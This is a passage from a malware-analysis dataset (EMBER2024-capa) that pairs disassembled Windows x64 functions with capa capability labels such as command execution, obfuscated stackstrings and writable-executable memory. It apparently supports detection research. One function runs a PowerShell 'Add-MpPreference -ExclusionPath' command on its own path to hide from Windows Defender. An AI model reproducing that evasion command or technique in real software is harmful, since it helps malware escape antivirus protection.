joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400405d0
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
mov rbx, qword [0x1400c1330]
mov rsi, rcx
test rbx, rbx
je 0x140040650
mov rax, qword [0x1400afef0]
mov rcx, qword [rax + 0x48]
cmp rbx, rcx
je 0x140040640
mov rdx, qword [0x1400c1568]
test rdx, rdx
je 0x140040748
mov rcx, rbx
mov rbx, qword [sym.imp.python310.dll_PyNumber_InPlaceAdd]
call rbx
mov rcx, rax
mov rdx, rsi
mov rax, rbx
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp rax
mov rbx, qword [sym.imp.python310.dll_PyNumber_InPlaceAdd]
jmp 0x140040621
lea r15, str.NUITKA_ONEFILE_BINARY
mov rcx, r15
call fcn.140029700
test rax, rax
je 0x140040768
mov rcx, rax
mov rdx, 0xffffffffffffffff
lea r14, [rsp + 0x40]
call qword [sym.imp.python310.dll_PyUnicode_FromWideChar]
xor ecx, ecx
mov r13, r14
lea r12, [r15 + 0x28]
mov word [rsp + 0x40], cx
lea rbp, [rsp + 0x3a]
lea rdi, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
mov eax, 0x4e
nop
mov rbx, r12
mov r8d, 2
mov rdx, rbp
mov rcx, rdi
sub rbx, r15
mov byte [rsp + 0x3a], al
mov byte [rsp + 0x3b], 0
call sub.msvcrt.dll_mbstowcs
cmp rax, 1
jne 0x14009d790
cmp word [r13], 0
movzx edx, word [rsp + 0x3c]
mov rax, r13
je 0x1400406ee
nop word [rax + rax]
add rax, 2
sub rbx, 1
cmp word [rax], 0
jne 0x1400406e0
test rbx, rbx
je 0x14009d790
mov word [rax], dx
add r15, 1
xor edx, edx
add r13, 2
mov word [rax + 2], dx
movzx eax, byte [r15]
test al, al
jne 0x1400406a0
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rax, qword [sym.imp.python310.dll__PyRuntime]
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rax + 0x1f0]
call fcn.140040510
mov rbx, rax
mov qword [0x1400c1330], rbx
jmp 0x1400405f2
lea rcx, [0x1400ac550]
call qword [sym.imp.python310.dll_PyUnicode_FromString]
mov qword [0x1400c1568], rax
mov rdx, rax
jmp 0x140040612
mov rbx, qword [0x1400c1348]
test rbx, rbx
jne 0x140040736
cmp byte [0x1400c1562], 0
je 0x1400407a6
mov rdx, 0xffffffffffffffff
lea rcx, [0x1400c1360]
call qword [sym.imp.python310.dll_PyUnicode_FromWideChar]
mov qword [0x1400c1348], rax
mov rbx, rax
test rax, rax
je 0x1400407b2
add qword [rax], 1
jmp 0x140040736
mov ecx, 1
call fcn.14002a320
jmp 0x14004077d
call qword [sym.imp.python310.dll_PyErr_Print]
call sub.msvcrt.dll_abort
nop
nop
call sub.msvcrt.dll_abort
nop
Function at 0x1400420f0
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rsi, str.NUITKA_ONEFILE_BINARY
mov ebx, ecx
mov rcx, rsi
call fcn.140029700
test rax, rax
je 0x140042250
mov rcx, rax
mov rdx, 0xffffffffffffffff
lea r14, [rsp + 0x40]
call qword [sym.imp.python310.dll_PyUnicode_FromWideChar]
xor ecx, ecx
mov r15, r14
lea r12, [rsi + 0x28]
mov word [rsp + 0x40], cx
mov r13, rax
lea rbp, [rsp + 0x3a]
mov eax, 0x4e
lea rdi, [rsp + 0x3c]
nop word [rax + rax]
mov rbx, r12
mov r8d, 2
mov rdx, rbp
mov rcx, rdi
sub rbx, rsi
mov byte [rsp + 0x3a], al
mov byte [rsp + 0x3b], 0
call sub.msvcrt.dll_mbstowcs
cmp rax, 1
jne 0x14009d7ae
cmp word [r15], 0
movzx edx, word [rsp + 0x3c]
mov rax, r15
je 0x1400421a6
nop dword [rax]
add rax, 2
sub rbx, 1
cmp word [rax], 0
jne 0x140042198
test rbx, rbx
je 0x14009d7ae
mov word [rax], dx
add rsi, 1
xor edx, edx
add r15, 2
mov word [rax + 2], dx
movzx eax, byte [rsi]
test al, al
jne 0x140042158
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rax, qword [sym.imp.python310.dll__PyRuntime]
mov rdx, qword [0x1400c1ca0]
mov rsi, qword [rax + 0x1f0]
mov rax, qword [0x1400afef0]
mov rbx, qword [rax + 0x1c0]
test rdx, rdx
je 0x1400422a0
mov r8, rbx
mov rcx, rsi
call fcn.14002c780
mov r8, r13
mov rcx, rsi
mov rbx, rax
mov rdx, rax
call fcn.14003de00
sub qword [rbx], 1
jne 0x140042234
mov rdx, qword [rbx + 8]
mov qword [rsp + 0x28], rax
mov rcx, rbx
call qword [rdx + 0x30]
mov rax, qword [rsp + 0x28]
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [0x1400c1340]
lea rsi, [0x1400c1340]
test bl, bl
je 0x140042270
mov rax, qword [0x1400c1348]
lea rsi, [0x1400c1348]
test rax, rax
jne 0x140042234
cmp byte [0x1400c1562], 0
je 0x1400422cd
mov rdx, 0xffffffffffffffff
lea rcx, [0x1400c1360]
call qword [sym.imp.python310.dll_PyUnicode_FromWideChar]
mov qword [rsi], rax
test rax, rax
je 0x1400422d7
add qword [rax], 1
jmp 0x140042234
mov rdx, qword [0x1400c1c18]
mov rdi, qword [rax + 0x1b0]
test rdx, rdx
je 0x1400422e2
mov r8, rdi
mov rcx, rsi
call fcn.14002c780
mov qword [0x1400c1ca0], rax
mov rdx, rax
jmp 0x1400421fe
movzx ecx, bl
call fcn.14002a320
jmp 0x14004227e
call qword [sym.imp.python310.dll_PyErr_Print]
call sub.msvcrt.dll_abort
lea rcx, [0x1400a7f5e]
call qword [sym.imp.python310.dll_PyImport_ImportModule]
mov qword [0x1400c1c18], rax
mov rdx, rax
test rax, rax
je 0x14009d7ae
jmp 0x1400422b3
Function at 0x140082b70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp byte [0x1400c1329], 0
mov rbp, rcx
mov rdi, rdx
mov r12, r8
je 0x140082c18
lea rdx, [0x1400abcda]
mov rcx, r12
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140082c80
mov rbx, qword [0x1400c11c8]
jmp 0x140082bb5
lea rbx, [rdx + rax + 4]
mov rdx, rbx
mov rcx, r12
call sub.msvcrt.dll_strcmp
mov rcx, rbx
mov esi, eax
call sub.msvcrt.dll_strlen
lea rdx, [rbx + rax + 1]
mov eax, dword [rdx]
test esi, esi
jne 0x140082bb0
movzx eax, word [rdx + 4]
lea r8, [rdx + 6]
test ax, ax
je 0x140082c07
lea rbx, [rdi + rax*8]
nop word cs:[rax + rax]
mov rdx, rdi
mov rcx, rbp
add rdi, 8
call fcn.140071fa0
mov r8, rax
cmp rdi, rbx
jne 0x140082bf0
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov r8d, 0xa
xor ecx, ecx
mov edx, 3
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
xor ecx, ecx
lea rdx, [rax + 4]
mov qword [0x1400c11c8], rax
mov ebx, dword [rax]
mov qword [0x1400c11c8], rdx
mov r8d, dword [rax + 4]
lea rdx, [rax + 8]
mov qword [0x1400c11c8], rdx
call fcn.140081ca0
cmp eax, ebx
jne 0x140082d07
mov byte [0x1400c1329], 1
jmp 0x140082b90
cmp byte [0x1400c1328], 0
jne 0x140082ba7
mov rbx, qword [sym.imp.python310.dll_PyDict_New]
call rbx
mov qword [0x1400c1ea8], rax
call rbx
mov qword [0x1400c1ea0], rax
call rbx
mov qword [0x1400c1e98], rax
call rbx
mov qword [0x1400c1e90], rax
call rbx
mov qword [0x1400c1e88], rax
call rbx
mov qword [0x1400c1e80], rax
call rbx
mov qword [0x1400c1e78], rax
call rbx
mov byte [0x1400c1328], 1
mov qword [0x1400c1e70], rax
mov rax, qword [sym.imp.python310.dll__PyRuntime]
mov rax, qword [rax + 0x1f0]
mov rax, qword [rax + 0x10]
add rax, 0xda0
mov qword [0x1400c11c0], rax
jmp 0x140082ba7
lea rcx, str.Error__corrupted_constants_object
call sub.msvcrt.dll_puts
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x14008b4b0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.14009cc30
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.14009cc30
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
Function at 0x14008c182
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x1400c2368]
test eax, eax
je 0x14008c21a
lea rax, [0x1400c2340]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x1400c2370]
mov qword [rbp - 8], rax
jmp 0x14008c1fe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x14008c1f2
cmp qword [rbp - 0x10], 0
je 0x14008c1f2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14008c1b8
lea rax, [0x1400c2340]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14008c21b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14008c320
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x14008c348
mov eax, 0
jmp 0x14008c396
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14008c371
mov eax, 0
jmp 0x14008c396
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x14008c391
mov eax, 0
jmp 0x14008c396
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x14008c39c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14008c41a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x14008c411
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x14008c411
mov rax, qword [rbp - 8]
jmp 0x14008c42f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x14008c3e4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400011c0
Capabilities:
Create process on windows
Terminate process

Disassembly:
sub rsp, 0x38
call fcn.140001720
mov r8, rax
mov dword [rsp + 0x28], 5
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x140001200
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400013ae
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xor eax, eax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
lea ecx, [rax + 0x40]
call fcn.140001cf0
mov rbx, rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], 0x36
mov qword [rsp + 0x50], 0x3f
movups xmm0, xmmword [str.powershell__Command__Add_MpPreference__ExclusionPath_]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140003438]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140003448]
movups xmmword [rax + 0x20], xmm0
mov eax, dword [0x140003458]
mov dword [rbx + 0x30], eax
movzx eax, word [0x14000345c]
mov word [rbx + 0x34], ax
mov byte [rbx + 0x36], 0
lea rax, [rsp + 0x60]
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400012b4
cmp rdi, 9
ja 0x1400012e4
lea rax, [rdi + 0x36]
mov qword [rsp + 0x48], rax
mov r8, rdi
lea rdx, [rsp + 0x60]
lea rcx, [rbx + 0x36]
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi + 0x36], 0
jmp 0x1400012fb
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x60]
mov rdx, rdi
lea rcx, [rsp + 0x38]
call fcn.140001ac0
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x140001336
lea rax, [rcx + 2]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x38]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x38]
mov word [rax + rcx], 0x2227
mov byte [rax + rcx + 2], 0
jmp 0x140001355
mov qword [rsp + 0x20], 2
lea r9, [0x140003460]
mov edx, 2
lea rcx, [rsp + 0x38]
call fcn.140001ac0
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0xf
cmova rcx, qword [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x1400013ae
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400013a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001d2c
nop
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140001cd0
mov rbx, qword [rsp + 0x190]
add rsp, 0x180
pop rdi
ret
Function at 0x140002650
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000269a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000269a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.MSVCP140.dll___Xlength_error_std__YAXPEBD_Z
jne 0x14000269a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000269a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000269a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000269c
xor al, al
add rsp, 0x28
ret

Function at 0x1400014fc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001548
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140001540
cmp dword [rcx + 0x3c], edx
jl 0x140001540
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140001540
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140001548
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140001a70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov r12, rcx
test edx, edx
je 0x140001be4
mov r13d, edx
mov edi, 0
lea r14, [0x140001530]
lea rbx, [0x1409eccc1]
jmp 0x140001ad6
mov byte [0x1409eccc1], 0
mov edx, esi
sar edx, 0x1f
shr edx, 0x1b
lea eax, [rsi + rdx]
and eax, 0x1f
sub eax, edx
cdqe
lea rdx, [0x1409ecca0]
xor bpl, byte [rdx + rax]
mov byte [r12 + rdi], bpl
add rdi, 1
cmp r13, rdi
je 0x140001be4
mov esi, edi
movzx ebp, byte [r12 + rdi]
mov byte [rsp + 0x20], 0x82
mov byte [rsp + 0x21], 0x82
mov byte [rsp + 0x22], 0x7c
mov byte [rsp + 0x23], 0x7a
mov byte [rsp + 0x24], 0x79
mov byte [rsp + 0x25], 0x86
mov byte [rsp + 0x26], 0x87
mov byte [rsp + 0x27], 0x75
mov byte [rsp + 0x28], 0x7a
mov byte [rsp + 0x29], 0x8c
mov byte [rsp + 0x2a], 0x86
mov byte [rsp + 0x2b], 0x76
mov byte [rsp + 0x2c], 0x8d
mov byte [rsp + 0x2d], 0x7c
mov byte [rsp + 0x2e], 0x78
mov byte [rsp + 0x2f], 0x84
mov byte [rsp + 0x30], 0x74
mov byte [rsp + 0x31], 0x8b
mov byte [rsp + 0x32], 0x89
mov byte [rsp + 0x33], 0x74
mov byte [rsp + 0x34], 0x81
mov byte [rsp + 0x35], 0x74
mov byte [rsp + 0x36], 0x82
mov byte [rsp + 0x37], 0x88
mov byte [rsp + 0x38], 0x76
mov byte [rsp + 0x39], 0x7b
mov byte [rsp + 0x3a], 0x7d
mov byte [rsp + 0x3b], 0x85
mov byte [rsp + 0x3c], 0x77
mov byte [rsp + 0x3d], 0x78
mov byte [rsp + 0x3e], 0x8c
mov byte [rsp + 0x3f], 0x7c
mov byte [rsp + 0x40], 0x13
cmp byte [0x1409ecc80], 0
jne 0x140001bbf
mov byte [0x1409eccc1], 1
mov eax, 0
lea rcx, [0x1409ecca0]
movzx edx, byte [rsp + rax + 0x20]
mov byte [rcx + rax], dl
add rax, 1
cmp rax, 0x21
jne 0x140001b9e
mov byte [0x1409ecc80], 1
mov rcx, r14
call fcn.1400014f0
cmp byte [0x1409eccc1], 0
je 0x140001aa8
lea rax, [0x1409ecca0]
sub byte [rax], 0x13
add rax, 1
cmp rbx, rax
jne 0x140001bd3
jmp 0x140001aa1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140010c20
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1409ed074]
test esi, esi
mov rdi, rcx
mov rbp, rdx
mov rbx, r8
jle 0x140010db0
mov rax, qword [0x1409ed078]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rdi, rdx
jb 0x140010c6c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rdi, rdx
jb 0x140010cf5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x140010c50
mov rcx, rdi
call fcn.140011780
test rax, rax
mov r12, rax
je 0x140010e02
mov rax, qword [0x1409ed078]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.1400118c0
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1409ed078]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140010de5
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140010cee
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140010d60
add dword [0x1409ed074], 1
cmp ebx, 8
jae 0x140010d21
test bl, 4
jne 0x140010dc0
test ebx, ebx
je 0x140010d16
movzx eax, byte [rbp]
test bl, 2
mov byte [rdi], al
jne 0x140010dd4
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, ebx
sub ebx, 1
mov rdx, qword [rbp + rax - 8]
cmp ebx, 8
mov qword [rdi + rax - 8], rdx
jb 0x140010d16
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, ebx
mov qword [rdi + rdx], rcx
jb 0x140010d3a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov r8d, 4
mov eax, 0x40
mov rcx, qword [rsp + 0x20]
cmovne r8d, eax
mov rdx, qword [rsp + 0x38]
add rsi, qword [0x1409ed078]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140010cee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140010bb0
xor esi, esi
jmp 0x140010c77
mov eax, dword [rbp]
mov ebx, ebx
mov dword [rdi], eax
mov eax, dword [rbp + rbx - 4]
mov dword [rdi + rbx - 4], eax
jmp 0x140010d16
mov ebx, ebx
movzx eax, word [rbp + rbx - 2]
mov word [rdi + rbx - 2], ax
jmp 0x140010d16
mov rax, qword [0x1409ed078]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.140010bb0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rdi
call fcn.140010bb0
nop
nop dword [rax]
nop word cs:[rax + rax]
Function at 0x1400113d0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1409ed0e0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1409ed0c0]
test rbx, rbx
je 0x140011424
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14001141b
test rsi, rsi
je 0x14001141b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140011400
lea rcx, [0x1409ed0e0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140011780
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1409e6bb0]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x1400117ef
mov rcx, r9
call fcn.140011650
test eax, eax
je 0x1400117ef
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x1400117ed
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x1400117e4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400117ef
add rdx, 0x28
cmp rdx, r9
jne 0x1400117d0
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x14001bba0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1409e2ce0]
jmp 0x1400125b0

Function at 0x14001bbb0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1409e2ce0]
jmp 0x1400125b0
Function at 0x14002b094
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002b0de
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002b0de
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002b0de
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002b0de
cmp dword [rcx + 0x84], 0xe
jbe 0x14002b0de
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14002b0e0
xor al, al
add rsp, 0x28
ret

Function at 0x140037720
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14003751c
Function at 0x14003da34
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14003da64
xor eax, eax
jmp 0x14003db27
mov rbp, rbx
cmp word [rax], si
je 0x14003da89
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14003da70
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14003da6c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14003d954
movsxd r14, eax
test eax, eax
jne 0x14003dac7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14003da5d
mov rcx, r14
call fcn.14003a45c
mov rdi, rax
test rax, rax
jne 0x14003dae0
xor ecx, ecx
call fcn.1400387b8
jmp 0x14003dabc
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14003d954
test eax, eax
jne 0x14003db11
mov rcx, rdi
call fcn.1400387b8
jmp 0x14003db1b
xor ecx, ecx
call fcn.1400387b8
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret